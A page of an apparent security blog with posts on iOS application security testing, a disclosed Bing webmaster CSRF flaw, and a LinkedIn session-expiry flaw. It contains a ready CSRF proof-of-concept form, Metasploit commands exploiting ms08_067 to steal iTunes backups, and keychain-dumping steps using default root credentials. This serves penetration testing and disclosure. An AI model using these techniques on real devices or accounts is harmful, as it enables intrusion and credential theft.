RSS
 

Extracting data protection class from files on iOS

18 Oct

On iOS, every file is encrypted with an unique encryption key as illustrated in the image. The content of a file is encrypted with a per-file key, which is wrapped with a class key (data protection class key) and stored in a file’s metadata, which is in turn encrypted with the file system key (EMF key). The file system key is generated from the hardware UID. UID is unique per device and it is embedded in hardware and inaccessible to code running on CPU.

iOS Files encryption

Imagine a file which is encrypted only with the file system key, upon physical access to the device custom ramdisk techniques (ex: msft_guy automated custom ramdisk) can be used to steal the file from passcode protected devices. To overcome this problem Data protection was introduced. Data protection protects the data at rest on iOS devices using encryption keys that are tied to the device passcode and UID. So if the file is protected with a data protection class and the user sets a passcode for the device, an attacker cannot access the file using custom ram disk technique until he knows the passcode. In simple, data protection provides another layer of security to files by encrypting them with a passcode generated key.

File protection is enabled by setting an accessibility constant to NSFileProtectionKey file attribute. Later the files are encrypted with  a protection class key respective to the accessibility constant marked for that file.

Ex: If a file is marked with NSProtectionComplete accessibility constant then the file is encrypted with Class 1 protection class key and it is available only when the user unlocks the device. If a file is created without specifying any accessibility constant then the file is marked as NSProtectionNone and it is accessible even the device is locked . List of accessibility constants available for files  are shown in the below table.

data protection classes for files in iOS

I wrote a program (FileDP), when executed takes a file as input and displays the accessibility constant of that file. The accessibility constant determines the type of class key. This would help during iOS application security assessments, to identify whether the sensitive files are protected with data protection or not.

Extracting data protection accessibility constant from files:
1. Download FileDP.
2. Copy FileDP to the iPhone over SSH using cyberduck or winscp.
3. Open  the terminal or putty and connect to the iPhone over SSH.
4. On ssh terminal, use the below command to provide executable permissions to FileDP.

chmod 777 FileDP

5. Use  the below command to list the Data protection accessibility constant of a file or for all the files in the directory.

./FileDP -[F/D] [FilePath/DirecotryPath]

data protection of all files in a directory

After running FileDP against an iOS application directory, I have noticed that the app preferences plist is not protected by data protection and it is marked as NSProtectionNone. The preferences plist is used by many applications to store configuration details and sensitive details like username’s, session cookies and authentication tokens. The preferences plist is usually generated by XCode and the user has no control  on the file attributes.

Ex: Facebook preferences plist – com.Facebook.Facebook.plist contains user authentication tokens and cookies. The below image shows that it is marked as NSFileProtectionNone.

data protection of a file on iPhone

 
 

SSH into iPhone over USB without Wi-Fi

11 Oct

SSH into a Jailbroken iPhone allows to browse files & folders on the device easily. When the iPhone and the computer are connected to the same WiFi network, it is easy to do SSH using any SSH client. SSH into the iPhone is also possible over USB cable and this comes handy in cases when the iPhone is not connected to the network. Steps below explains the procedure to SSH into the iPhone over USB cable.

Steps to SSH into iPhone through USB Cable (windows):

1. Jailbreak the iPhone and install OpenSSH from Cydia.
2. Download Python 2.6 and install it to c:\python26 folder.
3. Download usbmuxd file and extract it to C drive using winrar.
4. Connect the iPhone to windows machine over USB cable.
5. Open command prompt and type the below commands.

C:\> cd usbmuxd-1.0.8
C:\usbmuxd-1.0.8>cd python-client
C:\usbmuxd-1.0.8\python-client>\Python26\python.exe tcprelay.py -t 22:2222

SSH into iPhone without Wi-Fi

6. Download putty and open it.
7. On putty, enter Host Name as 127.0.0.1 and Port as 2222. Select connection type as SSH and click Open.

SSH into iPhone with putty

8. Now you are connected to iPhone over SSH. Type the username as root and the password as alpine to log into the iPhone.

SSH into iPhone putty

Note: Usbmuxd is a python module. So it works in Mac OS and other platforms as well. But the only limitation is, we can open only one SSH connection at a time. 

 
 

Microsoft Bing webmaster tools CSRF Vulnerability

17 Sep

I have noticed a CSRF vulnerability in the Bing webmaster tools website when I was working on SEO stuff for my site. I have reported the vulnerability to Microsoft and they fixed it now. CSRF attack on the webmaster tools website allows an attacker to change the logged in user’s profile without his knowledge. Complete details about the vulnerability are provided below.

Bing webmaster tools are used by website administrators to improve the site performance (SEO) in the Bing search engine. User profile page in the webmaster tools website is vulnerable to Cross site request forgery attack. Editing and saving the user’s profile in the webmaster tools website sends the below POST request to the server. You can notice that the POST request does not contain any CSRF tokens in the body.

POST /webmaster/Home/AddSiteAndSaveProfile HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-IN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: ssl.bing.com
Content-Length: 298
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: SRCHUID=V=2&GUID=2462AEB887D84132AB0618A62918004E; SRCHD=SM=1&MS=2412868&D=2412867&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20120802; MUID=304F0F31C56C634E0FF80C81C4626317; sample=75; ANON=A=31F3C21150BD85D5D0D7A653FFFFFFFF&E=cf4&W=1; NAP=V=1.9&E=c9a&C=cXG_15GH6sC_sMrxIO7LQdDowldUlTqmQaeoYvbJnsysU1edgzUh7w&W=1; _HOP=I=1&TS=1346886727; _SS=SID=D678E4708A614DF29AE30B8C415F32BA
firstName=satish&lastName=bs&email=satishb3@hotmail.com&jobrole=&company=securitylearn.net&companysize=&industry=17&contactphone=&city=&state=&zip=&country=in&isAgency=false&communicationsOptIn=true&communicationsOptIn=false&emailFrequency=7&alert=2&alert=4&alert=3&alert=5&alerts=

This would allow an attacker to change the logged in user’s profile without his knowledge by tricking him to visit a URL which loads the below html file.

<form id=f1 action="https://ssl.bing.com/webmaster/Home/AddSiteAndSaveProfile" method="POST"/>
<input type="hidden" name="firstName" value="satish" />
<input type="hidden" name="lastName" value="bs" />
<input type="hidden" name="email" value="satishb3@hotmail.com" />
<input type="hidden" name="jobrole" value="" />
<input type="hidden" name="company" value="securitylearn.net" />
<input type="hidden" name="companysize" value="" />
<input type="hidden" name="industry" value="17" />
<input type="hidden" name="contactphone" value="" />
<input type="hidden" name="city" value="" />
<input type="hidden" name="state" value="" />
<input type="hidden" name="zip" value="" />
<input type="hidden" name="country" value="in" />
<input type="hidden" name="isAgency" value="false" />
<input type="hidden" name="communicationsOptIn" value="true" />
<input type="hidden" name="communicationsOptIn" value="false" />
<input type="hidden" name="emailFrequency" value="7" />
<input type="hidden" name="alert" value="2" />
<input type="hidden" name="alert" value="4" />
<input type="hidden" name="alert" value="3" />
<input type="hidden" name="alert" value="5" />
<input type="hidden" name="alerts" value="" />

Steps to verify:

  1. Open IE and log into Bing webmaster tools - http://www.bing.com/toolbox/webmaster
  2. Click on profile link (top right side) and look at the existing data.
  3. Create an html file with the above content & open it with IE. Later the html file prompts to open or save an attachment, click on cancel button.
  4. Now in the webmaster tools site, click on profile link and notice that the user data is replaced with the content in the html file.

 

CSRF tokens are not implemented across the whole website and making it to vulnerable for CSRF attacks.

[TimeLine]
August 02, 2012, I have reported the vulnerability to Microsoft.
August 03, 2012 they have opened MSRC (Microsoft Security Response Center) case.
August 12, 2012, I have noticed that the vulnerability is being fixed and emailed them for the update.
August 14, 2012 they replied back with this message- “The product team is still actively investigating the issue to ensure a full understanding and comprehensive remediation.”
September 16, 2012, they fixed the vulnerability.

Microsoft adding my name in their September 2012 security researchers list.

[Updated on - October 02, 2012]  
Microsoft added my name to September 2012 security researcher acknowledgements list-
http://technet.microsoft.com/en-us/security/cc308589

 
 

Metasploit post exploitation scripts to steal iOS 5 backups

09 Sep

Metasploit contains a post exploitation module using which we can steal the Apple iOS backup files from a victim’s computer. However the existing module was designed for iOS 4 backups and does not support the latest iOS 5 backups. I have updated the scripts to make it work with iOS 5 backups.

Running the existing apple_ios_backup post exploitation module in the Metasploit (v4.4.0) against an iOS 5 backup ends up with the below exception.

meterpreter> run post/multi/gather/apple_ios_backup
[*] Checking for backups in C:\Documents and Settings\Administrator\Application Data\Apple Computer\MobileSync\Backup
[*] Found C:\Documents and Settings\Administrator\Application Data\Apple Computer\MobileSync\Backup\b716de79051ef093a98fc3ff1c46ca5e36faabc3
[*] Checking for backups in C:\Documents and Settings\SATISH-E6338BC0\Application Data\Apple Computer\MobileSync\Backup
[*] Pulling data from C:\Documents and Settings\Administrator\Application Data\Apple Computer\MobileSync\Backup\b716de79051ef093a98fc3ff1c46ca5e36faabc3...
[*] Reading Manifest.mbdb from C:\Documents and Settings\Administrator\Application Data\Apple Computer\MobileSync\Backup\b716de79051ef093a98fc3ff1c46ca5e36faabc3...
[*] Reading Manifest.mbdx from C:\Documents and Settings\Administrator\Application Data\Apple Computer\MobileSync\Backup\b716de79051ef093a98fc3ff1c46ca5e36faabc3...
[-] Post failed: Rex::Post::Meterpreter::RequestError core_channel_open: Operation failed: The system cannot find the file specified.
[-] Call stack:
[-]   /opt/metasploit/msf3/lib/rex/post/meterpreter/channel.rb:116:in `create'
[-]   /opt/metasploit/msf3/lib/rex/post/meterpreter/channels/pools/file.rb:35:in `open'
[-]   /opt/metasploit/msf3/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb:325:in `_open'
[-]   /opt/metasploit/msf3/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb:276:in `initialize'

Below details outline the usage of updated Metasploit – Apple iOS Backup File Extraction module.  I have used Metasploit 4.4 from  Backtrack 5R1.

Apple iOS Backup File Extraction module is a post exploitation module. Metasploit says “The post-exploitation modules (post for short) are designed to run on systems that were compromised through another vector, whether its social engineering, a guessed password, or an unpatched vulnerability”. So in order to use the iOS backup module, first we have to compromise the system using some other vector.

Usage Steps:
1. Download the apple_ios_backup.rb and place it in /opt/metasploit/msf3/modules/post/multi/gather/ directory.
2. Download the apple_backup_manifestdb.rb and place it in /opt/metasploit/msf3/lib/rex/parser/ directory.
3. Open the Metasploit using msfconsole.
4. Use meterpreter as a payload and exploit a vulnerability in the target system.

In my case, the victim machine is running with the Windows XP OS (192.168.209.128) which is vulnerable to ms08_067_netapi vulnerability. Following the below steps exploits the vulnerability and opens a meterpreter shell.

msf > use exploit/windows/smb/ms08_067_netapi
msf  exploit(ms08_067_netapi) > set RHOST 192.168.209.128
RHOST => 192.168.209.128
msf  exploit(ms08_067_netapi) > exploit

5. Once the meterpreter session is established,  iOS backup on the victim machine can be dumped using the following command- > run post/multi/gather/apple_ios_backup

The above script searches for the iOS backup files in the default iTunes backup locations. If it does not find any backup in the target system, it will displays ‘ No users found with an iTunes backup directory’ message. If it finds the backup it dumps all the files and stores them as db files in the ~/.msf4/loot/ directory.

iPhone backup path in windows & Mac OS x

Though Apple iOS backup extraction module dumps all the files from the victim’s backup, the level of data revealed to the attacker depends on the type of the iOS backup. If the victim machine contains an encrypted backup, the information that we get from stealing the backup files is almost nothing. Because all the files in the encrypted backup are encrypted with the user supplied iTunes password. If the victim machine contains a normal backup, we can read the sensitive data stored in all files except the Keychain database. In case of normal backups, the keychain is encrypted with a hardware key which is embedded in the iPhone.

The post module can steal the iOS backups from Windows and Mac OS X machines. I have tested it for Windows. It should definitely work for OS X as well.

iOS backup is a treasure for pentesters. Happy hacking :)

Video:

 

[Update -October 11, 2012]: The module also works for iOS 6 backups. 

 
 

Penetration testing of iPhone Applications – Part 3

07 Sep

In the first part of this article, we have discussed about the iPhone application traffic analysis. Second part of the article covered the privacy issues and property list data storage. In this part, we will take a look at in-depth analysis of the keychain data storage. Apple has designed the keychain with many security measures in place to protect the user’s data, however it is broken at every level. So complete understanding to the keychain and its security & weaknesses will help penetration testers to provide proper remediation suggestions during iOS application security assessments.

Keychain storage: 

Keychain is an encrypted container (128 bit AES algorithm) and a centralized Sqlite database that holds identities & passwords for multiple applications and network services, with restricted access rights. On the iPhone, keychain Sqlite database is used to store the small amounts of sensitive data like usernames, passwords, encryption keys, certificates and private keys. In general, iOS applications store the user’s credentials in the keychain to provide transparent authentication and to not to prompt the user every time for login. iOS applications use the keychain service library/API (secItemAdd, secItemDelete, secItemCopyMatching & secItemUpdate methods) to read and write data to and from the keychain. Developers leverage the keychain services API to dictate the operating system to store sensitive data securely on their behalf, instead of storing them in a property list file or a plain text configuration file. On the iPhone, keychain Sqlite database file is located at – /private/var/Keychains/keychain-2.db.

Keychain contains a number of keychain items and each keychain item will have encrypted data and a set of unencrypted attributes that describes it. Attributes associated with a keychain item depends on the keychain item class (kSecClass). In iOS, keychain items are classified into 5 classes – generic passwords (kSecClassGenericPassword), internet passwords (kSecClassInternetPassword), certificates (kSecClassCertificate), keys (kSecClassKey) and digital identities (kSecClassIdentity, identity=certificate + key) . In iOS keychain, all the keychain items are stored in 4 tables – genp, inet, cert and keys . Genp table contains generic password keychain items, inet table contains internet password keychain items, and cert & keys tables contain certificates, keys and digital identity keychain items.

iPhone Keychain tables

Keychain Tables

Keychain database is encrypted with a hardware specific key which is unique per the device. Hardware key cannot be extracted from the device, so the data stored in the keychain can only be accessible on the device itself and cannot be moved to another device. Keychain database is tied to the device, so even if an attacker obtains access to the keychain through a physical access to the file system or in a remote attack, he cannot decrypt and view the file contents.

iPhone keychain file format

Keychain File Format

Keychain data is logically zoned and data stored by one application is not accessible to another application. Keychain data of an iOS application is stored outside the application’s sandbox. So operating system process securityd enforces the access control and regulates access to the keychain data in such a way that the applications with correct permissions can read their data. Keychain access permissions of an iOS application are defined in the code sign entitlements. Keychain Services uses these entitlements to grant permissions for the applications to access its own keychain items. Entitlements of an application define the properties that provide access to the iOS features such as push notifications, keychain access and iCloud communication, etc… Entitlements grant specific capabilities or security permissions to iOS applications. An entitlement file for a keychain data sharing application contains an application-identifier and may contain a set of keychain-access-groups constants. In iOS, each application ships with a unique application-identifier. The keychain service restricts the keychain data access based on this application identifier. By default, applications can only access data associated with their own application-identifier. Later, to share the keychain items with multiple applications, keychain-access-groups wereintroduced. Applications with the same keychain access group entitlement can access/share the keychain items. Entitlements of an application are embedded in the application binary and stored unencrypted. So, on a JailBroken iPhone, entitlements of an application can be extracted from the application binary using grep or sed commands (stream editor – sed can be downloaded from Cydia packages).

To list out the entitlements of an iOS application, connect to the iPhone over SSH, navigate to the application’s home directory (/var/mobile/Applications/[unique-id]/) and run the below command.

sed -n '/<dict>/,/<\/dict>/p'  [AppDirectory]/[ApplicationBinary]

Example: Below command list out the entitlements of Facebook iOS application.

> sed -n '/<dict>/,/<\/dict>/p'  Facebook.app/Facebook
<dict>
        <key>application-identifier</key>
        <string>T84QZS65DQ.com.facebook.Facebook</string>
        <key>aps-environment</key>
        <string>production</string>
        <key>keychain-access-groups</key>
        <array>
                <string>T84QZS65DQ.platformFamily</string>
        </array>
</dict>

* Facebook iOS application is a fat binary (built for ARM6 & ARM7 architectures), so the above command will print the entitlement details twice.

The above result indicates that the Facebook iOS application uses ‘T84QZS65DQ.platformFamily’ keychain-access-group while storing the entries in the keychain.

When an application adds an entry to the keychain, application identifier or keychain access group of the application also gets added to the keychain item agrp (access group)column. Later, when an application tries to access the keychain item, keychain service verifies the application identifier or keychain access group against the agrp value of corresponding keychain item to permit the access. Sample keychain-2.db file is shown in the Figure 3 and Facebook entitlements are highlighted.

Facebook keychain entitlements

Facebook keychain entries

*The above screen shot is captured by copying the keychain-2.db file from a JailBroken iPhone to a windows machine and opening it with a Sqlite browser.

Note:  Applications that are built for the simulator uses the same default keychain access group. So on the simulator, all the applications can access all the keychain items.

With the introduction of data protection mechanism in iOS, sensitive data stored in the keychain item is protected with another layer of encryption which is tied to the user’s passcode. Data protection encryption keys (protection class keys) are derived from a device hardware key and a key generated from the user’s passcode. So encryption offered by data protection API is as good as the strength of a user’s passcode. Data protection is designed to protect the user’s data in case a device is lost or stolen. Data protection for the keychain items can be enabled by supplying an accessibility constant value to the kSecAttrAccessible attribute of SecItemAdd or SecItemUpdate methods. Data protection accessibility constants determine when a keychain item should be readable by an application. It also determines whether a keychain item is allowed to migrate to other devices or not. During an iTunes backup, all the data stored in the iOS device is backed up to the computer including the keychain database. On the iTunes backups, keychain Sqlite database is stored as a Plist file (Keychain-backup.plist). Keychain items which are backed-up with the iTunes encrypted backup option can be moved/loaded to another device. However the keychain items which are protected with ThisDeviceOnly constants cannot be moved to other iOS devices.

Below is the list of keychain item accessibility constants –

  • kSecAttrAccessibleWhenUnlocked
    • Keychain item is accessible only after the device is unlocked
    • Data protection class keys required to decrypt the keychain items are loaded into memory only when the device is unlocked and the encryption keys are automatically purged in 10 seconds once the device is locked.
  • kSecAttrAccessibleAfterFirstUnlock
    • Keychain item is accessible only after the first unlock of the device to till reboot
    • Data protection class keys required to decrypt the keychain items are loaded into memory only when the user unlocks the device after a reboot and the keys remain in the memory till next reboot of the device.
  • kSecAttrAccessibleAlways
    • Keychain item is accessible even the device is locked
    • Data protection class keys required to decrypt the keychain items are always loaded into memory.
  • kSecAttrAccessibleWhenUnlockedThisDeviceOnly
    • Keychain item is accessible only after the device is unlocked and the item cannot be migrated between devices.
  • kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly
    • Keychain item is accessible after the first unlock of the device and the item cannot be migrated between devices.
  • kSecAttrAccessibleAlwaysThisDeviceOnly
    • Keychain item is accessible even the device is locked and the item cannot be migrated between devices.

Data protection accessibility constants of a keychain item are mapped to pdmn (protection domain) column in the keychain tables – genp, inet… Mapping to the keychain data protection accessibility constants and pdmn values are shown in below table.

iPhone keychain pdmn values

Sample keychain-2.db file is shown in the Figure 4 and pdmn column is highlighted.

iOS Keychain data protection entries

*The above screen shot is captured by copying the keychain-2.db file from a JailBroken iPhone to an OS X machine and opening it with a Sqlite browser.

Third party applications usually store the plain text credentials in the keychain to not to prompt the user every time for login and to preserve the data across re-installation or up-gradation of the application. So while penetration testing, we have to look at the keychain items to see what kind of information is being stored by the applications in the keychain. But the keychain service does not allow viewing the keychain items of any application without proper entitlements. On a JailBroken device this restriction can be broken and it is possible to dump all the keychain items by signing an application with one of the below entitlements file.

  1. An entitlements file which has all the keychain access groups
    - Fetch all the keychain access groups from the keychain by running a SQL query: select agrp from genp and place them in the entitlements file.
  2. An entitlements file with wild card ‘*’ keychain access group
  3. An entitlements file with com.apple.keystore.access-keychain-keys keychain access group

Link identity editor – ldid (Cydia Package) can be used to the sign the application with the entitlement file: ldid –Sentitlements.xml [app-name]

Patrick Toomey has developed a keychain_dumper tool that can be used to dump all the keychain items on a JailBroken iOS device. Recent version of the keychain_dumper uses the wildcard ‘*’ keychain access group entitlement to access all the keychain items. Steps listed below explain the usage of keychain dumper tool on the iPhone.

keychain dumper usage:

1. Jailbreak the iPhone.
2. Install openssh from Cydia.
3. On Mac OS X, download keychain_dumper and cyberduck tools.
4. Connect the iPhone and the computer to the same WI-FI network.
5. On Mac OS X, run Cyberduck and connect to the iPhone by typing the iPhone IP address, username as root and password as alpine.

iPhone SSH cyberduck

6. Copy keychain_dumper executable to the iPhone root directory.Copy keychain dumper on iPhone

7. Run terminal and connect to the iPhone over SSH by typing the iPhone IP address, username as root and password as alpine.
8. On SSH terminal, type chmod 777 keychain_dumper and ./keychain_dumper commands. It will execute the keychain_dumper tool and displays all the keychain items from genp & inet tables.

iPhone keychain dumper

iPhone keychain dumper

9. ./keychain_dumper –c command dumps the keychain items from cert & keys tables.

iPhone keychain dumper - certificates

Note:keychain-dump & keychain viewer tools can also be used to dump all the keychain items. The tools are developed by Jean Sigwald and they use the com.apple.keystore.access-keychain-keyskeychain group entitlement to dump all the keychain items.

Third party applications also set data protection accessibility constants while adding the keychain items to make it available only after unlock. Data protection is designed to protect the data at rest by adding another layer of encryption. Data protection is tied to the user passcode and it secures the data only when a user sets a passcode as illustrated in the Figure.

iPhone passcode

Upon obtaining physical access to the device which is not protected with a passcode, an attacker can read all the keychain items by JailBreaking the device and running tools like keychain dumper. So even if third party applications use data protection API, data at rest is not protected without a user’s passcode and leaves the security to the end user.

Even if a user sets a simple passcode for the device, an attacker can still read all the keychain items by brute forcing the user’s passcode. A simple 4 digit passcode can be brute forced in less than 20 minutes by booting the device with a custom ram disk. More details about the iPhone passcode brute forcing are documented at iPhone Forensics article. Data protection is useful only when a user sets a complex passcode (minimum of 6 alpha numeric characters in length).

Note: Boot Rom level vulnerability is required to boot the device with a custom ram disk. At the time of writing this article, Boot Rom level vulnerability was not identified in A5 chips which are used in the iPhone 4s & iPad 2. So currently it is not possible to perform a passcode brute force attack on the iPhone 4s and iPad 2.

Techniques explained above concludes that the keychain items are secure only if a user sets a complex passcode for the device and the keychain item is protected with an accessibility constant which makes it available only after unlock.

Bottom Line: 

Though Apple has designed the iOS keychain with best security features in place, it is broken at every level. Techniques explained in the article demonstrate that, all the keychain items can be dumped upon gaining physical access to the device. It is also quite possible to design a remote application (targeting JailBroken devices) which can read all the keychain items and transmit the data to a remote server. In the recent versions of iOS (4 & 5), by default, the keychain items are stored using the kSecAttrAccessibleWhenUnlocked data protection accessibility constant. However the data protection is effective only with a device passcode, which implies that sensitive data stored in the keychain is secure only when a user sets a complex passcode for the device. But iOS applications cannot enforce the user to set a device passcode. So if iOS applications relies only on the Apple provided security they can be broken if iOS security is broken. iOS application security can be improved by understanding the shortcomings of the current implementation and writing an own implementation that works better. In case of the keychain, iOS application security can be improved by using the custom encryption (using built-in crypto API) along with the data protection API while adding the keychain entries. If custom encryption is implemented it is recommended to not to store the encryption key on the device.

Video:

 

References

  1. iPhone data protection tools
    http://code.google.com/p/iphone-dataprotection/
  2. iOS Keychain weaknesses FAQs
    http://sit.sit.fraunhofer.de/studies/en/sc-iphone-passwords-faq.pdf
  3. Keychain services concepts https://developer.apple.com/library/ios/#documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html
  4. Ptoomey keychain dumper
    https://github.com/ptoomey3/Keychain-Dumper

 

Penetration Testing iPhone Applications is going to be covered in a series of articles. Below are the links for next articles. 

Part 4Analysis of the  files stored in the application home directory, caching issues and error log analysis.
Part 5runtime analysis of iOS Applications.

 
 

LinkedIn iPhone application session expiration vulnerability

04 Aug

LinkedIn iOS application stores the user’s authentication tokens (authToken) and session cookie values in a plist file com.Linkedin.LinkedIn.plist inside /Library/Preferences/ folder under application home directory. If someone obtains the plist file they can log into the LinkedIn application without supplying the username and the password as it contains the user’s authTokens and app cookies.

Storing the authTokens in the plist file is a bad design idea. The problem is well explained in scoopz blog.  In addition to that, LinkedIn does not expire the authTokens even after a user logged out from the application. Upon logout, instead of removing the tokens & cookies from the server, it only removes the tokens stored in the client side plist file. So after logout if we copy the old plist file which had user authentication token, it will log you in.

It is possible to replace the plist file even on a non jailbroken iPhone.

Steps to verify:
1. Log into LinkedIn iPhone app.
2. Connect the iPhone to workstation over USB. Install iExplorer on workstation and open it.
3. With iExplorer navigate to LinkedIn application preferences directory and copy the com.linkedin.LinkedIn.plist file to local drive.

LinkedIn iOS application plist location

4. On iPhone, logout from the LinkedIn app.

LinkedIn session expiration vulnerability

5. Now if you open the app it will prompt you for the credentials.
6. From iExplorer, drag the copied com.LinkedIn.LinkedIn.plist file to LinkedIn preferences folder.
7. Now if we open the LinkedIn iPhone app, it will log you in.

Sequence of steps listed above shows that clicking on the sing out button does not terminate the user’s session on the LinkedIn server.

The iPhone also backups the LinkedIn plist file during iTunes backup. So if someone get access to the iTunes backups, it is very easy to get hold of the LinkedIn plist file with an authentication token which never gets expire.

I have reported the problem to LinkedIn a couple of months ago. I haven’t received any reply. I don’t like to be follow-up with them because they don’t have a bug bounty program. Anyhow it is a session expiration problem and I felt there is no harm in revealing this information in a blog post :)

 
 
Page 5 of 13« First...34567...10...Last »